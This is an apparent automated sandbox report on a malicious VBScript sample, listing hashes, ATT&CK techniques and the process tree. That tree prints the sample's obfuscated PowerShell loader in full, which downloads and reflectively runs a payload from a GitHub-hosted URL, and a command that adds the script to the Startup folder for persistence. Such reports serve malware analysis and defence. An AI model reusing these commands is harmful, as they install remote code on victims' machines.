df610fe1800c5c643599d46f147e0e0623b5523e54e3b0795f2e4e2be88ba952

General

Target

df610fe1800c5c643599d46f147e0e0623b5523e54e3b0795f2e4e2be88ba952.vbs
Size

489KB
MD5

b4ed8d97bb9132e15502eb005580d3e1
SHA1

eb64b5bfbb04979d46b7f906394caadbe96e5c4f
SHA256

df610fe1800c5c643599d46f147e0e0623b5523e54e3b0795f2e4e2be88ba952
SHA512

d6446d9a7120f2460216c24ee92045d3a435d8987f38375bbae41a66022a03147b40b42174a838be0b73019147fe83e30708267cbc83f44199895a486f746e85
SSDEEP

12288:+IM9DK7pKt0qbfzQ0mfRygWqa8kPDXwlvX+LHqDDuu++MZu+Df2OW6:+ImrsHflxw5

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
20	2840	powershell.exe
22	2840	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4876	powershell.exe
4880	powershell.exe
2840	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wernerite.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wernerite.vbs	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
19	raw.githubusercontent.com
20	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1096	cmd.exe
2752	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2752	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4876	powershell.exe
4876	powershell.exe
4880	powershell.exe
4880	powershell.exe
2840	powershell.exe
2840	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4876	powershell.exe
Token: SeDebugPrivilege	4880	powershell.exe
Token: SeDebugPrivilege	2840	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3292 wrote to memory of 1096	3292	WScript.exe	82
PID 3292 wrote to memory of 1096	3292	WScript.exe	82
PID 1096 wrote to memory of 2752	1096	cmd.exe	84
PID 1096 wrote to memory of 2752	1096	cmd.exe	84
PID 1096 wrote to memory of 4876	1096	cmd.exe	89
PID 1096 wrote to memory of 4876	1096	cmd.exe	89
PID 3292 wrote to memory of 4880	3292	WScript.exe	90
PID 3292 wrote to memory of 4880	3292	WScript.exe	90
PID 4880 wrote to memory of 2840	4880	powershell.exe	93
PID 4880 wrote to memory of 2840	4880	powershell.exe	93

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\df610fe1800c5c643599d46f147e0e0623b5523e54e3b0795f2e4e2be88ba952.vbs"
1⤵
- Checks computer location settings
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:3292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\df610fe1800c5c643599d46f147e0e0623b5523e54e3b0795f2e4e2be88ba952.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.etirenrew.vbs')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1096
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2752
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\df610fe1800c5c643599d46f147e0e0623b5523e54e3b0795f2e4e2be88ba952.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.etirenrew.vbs')')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4876
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JigodkFSaWFiTGUgJypNZFIqJykubmFtZVszLDExLDJdLUpPaW4nJykgKCAoJ3UnKycwRHUnKydybCcrJyA9IEonKydodWh0dHBzJysnOi8nKycvcmEnKyd3LmdpJysndGh1YicrJ3VzZScrJ3Jjb250ZW50JysnLicrJ2NvJysnbS9Ob0RldGVjdE8nKyduLycrJ05vRGV0ZScrJ2MnKyd0T24vJysncmVmJysncycrJy9oJysnZWEnKydkcy9tYWluJysnLycrJ0RldGFoTm8nKyd0aC1WLnR4JysndEonKydodTsgdTBEYicrJ2FzZTY0Q29udGUnKydudCA9ICcrJyhOZXctT2JqZScrJ2N0IFN5cycrJ3RlbS5OZXQuV2ViJysnQ2xpJysnZScrJ250KScrJy5Eb3dubG9hZFN0JysncicrJ2luZyh1MEQnKyd1cmwpOyB1MCcrJ0RiaScrJ25hJysncicrJ3lDb250ZW50JysnID0gW1N5cycrJ3QnKydlJysnbS4nKydDbycrJ24nKyd2JysnZScrJ3InKyd0XScrJzo6RicrJ3JvbUJhc2U2NFN0cmknKyduZycrJyh1MERiYXNlJysnNjRDb250ZScrJ250KTsgJysndScrJzBEYXNzJysnZW1ibHknKycgPSBbUmVmbCcrJ2VjJysndGlvbi5BJysnc3NlbWInKydsJysneV0nKyc6OkwnKydvYScrJ2QnKycoJysndTAnKydEYicrJ2luJysnYScrJ3J5QycrJ29udCcrJ2VudCknKyc7IFtkbmxpYi5JJysnTycrJy5IbycrJ21lXTo6VkEnKydJJysnKGQ2ZzAnKycvJysnTycrJ1lVJysnbFgvZC9lZScrJy5ldHNhcC8vOnNwJysndHRoZCcrJzYnKydnLCBkJysnNmdkZXNhJysndCcrJ2l2JysnYScrJ2RvZDZnJysnLCBkJysnNmcnKydkZScrJ3NhdCcrJ2l2JysnYWRvJysnZDYnKydnLCAnKydkNmdkZXMnKydhdGl2YWRvZDZnJysnLCBkJysnNicrJ2dBZGRJJysnbicrJ1ByJysnb2NlcycrJ3MzMicrJ2Q2ZywgZDYnKydnZDZnJysnLGQnKyc2Z2Q2JysnZyknKS5yRXBsQUNlKCd1MEQnLCckJykuckVwbEFDZSgoW2NIYVJdNzQrW2NIYVJdMTA0K1tjSGFSXTExNyksW1NUckluZ11bY0hhUl0zOSkuckVwbEFDZSgnZDZnJyxbU1RySW5nXVtjSGFSXTM0KSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4880
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&((vARiabLe '*MdR*').name[3,11,2]-JOin'') ( ('u'+'0Du'+'rl'+' = J'+'huhttps'+':/'+'/ra'+'w.gi'+'thub'+'use'+'rcontent'+'.'+'co'+'m/NoDetectO'+'n/'+'NoDete'+'c'+'tOn/'+'ref'+'s'+'/h'+'ea'+'ds/main'+'/'+'DetahNo'+'th-V.tx'+'tJ'+'hu; u0Db'+'ase64Conte'+'nt = '+'(New-Obje'+'ct Sys'+'tem.Net.Web'+'Cli'+'e'+'nt)'+'.DownloadSt'+'r'+'ing(u0D'+'url); u0'+'Dbi'+'na'+'r'+'yContent'+' = [Sys'+'t'+'e'+'m.'+'Co'+'n'+'v'+'e'+'r'+'t]'+'::F'+'romBase64Stri'+'ng'+'(u0Dbase'+'64Conte'+'nt); '+'u'+'0Dass'+'embly'+' = [Refl'+'ec'+'tion.A'+'ssemb'+'l'+'y]'+'::L'+'oa'+'d'+'('+'u0'+'Db'+'in'+'a'+'ryC'+'ont'+'ent)'+'; [dnlib.I'+'O'+'.Ho'+'me]::VA'+'I'+'(d6g0'+'/'+'O'+'YU'+'lX/d/ee'+'.etsap//:sp'+'tthd'+'6'+'g, d'+'6gdesa'+'t'+'iv'+'a'+'dod6g'+', d'+'6g'+'de'+'sat'+'iv'+'ado'+'d6'+'g, '+'d6gdes'+'ativadod6g'+', d'+'6'+'gAddI'+'n'+'Pr'+'oces'+'s32'+'d6g, d6'+'gd6g'+',d'+'6gd6'+'g)').rEplACe('u0D','$').rEplACe(([cHaR]74+[cHaR]104+[cHaR]117),[STrIng][cHaR]39).rEplACe('d6g',[STrIng][cHaR]34))"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2840

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Remote System Discovery

1

T1018

System Information Discovery

2

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
cd0cbdef84bb5f55b7c4c402737ea712

SHA1
1944c99792f2775fcf441d0cdb1fb4b38402368b

SHA256
ddc8ed7e4d8162508da2624ef17f6ddef64f69fd8953710fbd4992e8d454059c

SHA512
9eb99a2bd58d79f2ccd86014957d9a03f2786c5c54a5009a77f10029debd32fcf4ad511acea5485eef0a04d50c2d2fccc36ad34f2aa2c90d08cd6f27b327654b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_j2mjoz0o.ik3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2840-38-0x0000021E78640000-0x0000021E78860000-memory.dmp

Filesize
2.1MB

Download
memory/4876-1-0x00007FFFC54E3000-0x00007FFFC54E5000-memory.dmp

Filesize
8KB

Download
memory/4876-2-0x0000024DD7CC0000-0x0000024DD7CE2000-memory.dmp

Filesize
136KB

Download
memory/4876-12-0x00007FFFC54E0000-0x00007FFFC5FA1000-memory.dmp

Filesize
10.8MB

Download
memory/4876-13-0x00007FFFC54E0000-0x00007FFFC5FA1000-memory.dmp

Filesize
10.8MB

Download
memory/4876-16-0x00007FFFC54E0000-0x00007FFFC5FA1000-memory.dmp

Filesize
10.8MB

Download
memory/4876-17-0x00007FFFC54E0000-0x00007FFFC5FA1000-memory.dmp

Filesize
10.8MB

Download

Analysis

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